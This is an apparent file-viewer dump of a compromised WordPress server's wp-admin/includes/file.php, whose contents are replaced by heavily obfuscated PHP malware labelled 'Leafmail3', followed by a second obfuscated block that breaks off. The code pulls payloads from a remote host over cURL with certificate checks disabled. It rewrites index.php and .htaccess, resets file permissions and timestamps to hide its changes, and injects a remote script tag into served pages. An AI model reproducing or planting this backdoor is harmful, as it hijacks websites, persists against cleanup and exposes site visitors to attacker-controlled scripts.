Current Path : /home/scoots/www/wp-admin/includes/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/wp-admin/includes/file.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php $qc4f2 = 314;$GLOBALS['w5be61bb8'] = Array();global $w5be61bb8;$w5be61bb8 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['x378d'] = "\x45\x38\x5c\x3d\x4a\xd\x76\x46\x48\x37\x2c\x39\x52\x5a\x72\x63\x7a\x66\x7d\x78\x47\x71\x58\x23\x2e\x74\x7b\x73\x3b\x55\x6d\x21\x7c\x32\x50\x3a\x4d\x49\x68\x4e\x2b\x62\x22\x6f\x2d\x3c\x53\x44\x33\x25\x31\x56\x43\x4c\x6e\x69\x61\x2f\x51\x36\x70\x42\x4b\x27\x20\x24\x54\x6c\x65\x5b\x5d\xa\x6b\x5e\x28\x77\x79\x9\x29\x41\x40\x67\x5f\x60\x4f\x6a\x3f\x59\x57\x7e\x35\x3e\x26\x2a\x64\x75\x34\x30";$w5be61bb8[$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][1].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][41]] = $w5be61bb8['x378d'][15].$w5be61bb8['x378d'][38].$w5be61bb8['x378d'][14];$w5be61bb8[$w5be61bb8['x378d'][60].$w5be61bb8['x378d'][1].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][48]] = $w5be61bb8['x378d'][43].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][94];$w5be61bb8[$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][97]] = $w5be61bb8['x378d'][27].$w5be61bb8['x378d'][25].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][54];$w5be61bb8[$w5be61bb8['x378d'][54].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][96]] = $w5be61bb8['x378d'][55].$w5be61bb8['x378d'][54].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][27].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][25];$w5be61bb8[$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][59]] = $w5be61bb8['x378d'][27].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][16].$w5be61bb8['x378d'][68];$w5be61bb8[$w5be61bb8['x378d'][6].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][97]] = $w5be61bb8['x378d'][60].$w5be61bb8['x378d'][38].$w5be61bb8['x378d'][60].$w5be61bb8['x378d'][6].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][27].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][43].$w5be61bb8['x378d'][54];$w5be61bb8[$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][33].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][11]] = $w5be61bb8['x378d'][95].$w5be61bb8['x378d'][54].$w5be61bb8['x378d'][27].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][16].$w5be61bb8['x378d'][68];$w5be61bb8[$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][1]] = $w5be61bb8['x378d'][41].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][27].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][43].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][68];$w5be61bb8[$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][48]] = $w5be61bb8['x378d'][27].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][25].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][25].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][30].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][30].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][25];$w5be61bb8[$w5be61bb8['x378d'][38].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][11]] = 